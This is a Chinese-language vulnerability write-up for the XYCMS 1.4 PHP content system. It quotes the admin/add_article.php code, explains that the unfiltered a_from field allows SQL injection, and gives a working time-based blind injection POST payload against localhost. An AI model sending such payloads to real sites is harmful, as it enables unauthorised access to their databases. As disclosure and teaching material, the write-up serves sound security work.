## 漏洞简介: ##
XYCMS原名为南京XYCMS企业建站系统,所设计的版本分为动态版和静态版。
XYCMS(PHP版)1.4版本 add_article.php 页面存在 sql注入漏洞
##漏洞分析
看`www/admin/add_article.php`文件 162行
if($_GET["act"]==ok){
$c_file_path=md5(numRandomString(16));
$siteinfo = array(
'catid'=>$_POST['catid'],
'title' => $_POST['title'],
'a_bold' => $_POST['a_bold'],
'a_color' => $_POST['a_color'],
'a_url' => $_POST['a_url'],
'keywords' => $_POST['keywords'],
'description' => $_POST['description'],
'thumb' => $_POST['link_img'],
'content' => $_POST['content'],
'is_hot' => $_POST['is_hot'],
'a_author' => $_POST['a_author'],
'a_from' => $_POST['a_from'],
'c_date' => strtotime($_POST['c_date']),
'typeid' => 1,
'f_path' => $c_file_path
);
$db->insert("xy_article", $siteinfo);
make_to_html($db->insert_id(),0);
这里发现 `a_from` 里面的参数没有进行任何过滤,直接post请求带入数据库查询,导致sql注入。
## 漏洞复现 ##
payload:
post:`http://localhost/admin/add_article.php?act=ok`
catid=19&title=111&a_color=&a_url=111&keywords=11&description=11&link_img=&content=11&c_date=2017-06-20+05%3A05%3A20&a_author=%E6%9C%AC%E7%AB%99%E7%BC%96%E8%BE%91&a_from=11' AND (select if(mid(user(),1,1)='r',sleep(5),0)),'1','1','1')#&is_hot=0

mysql运行截图

暂无评论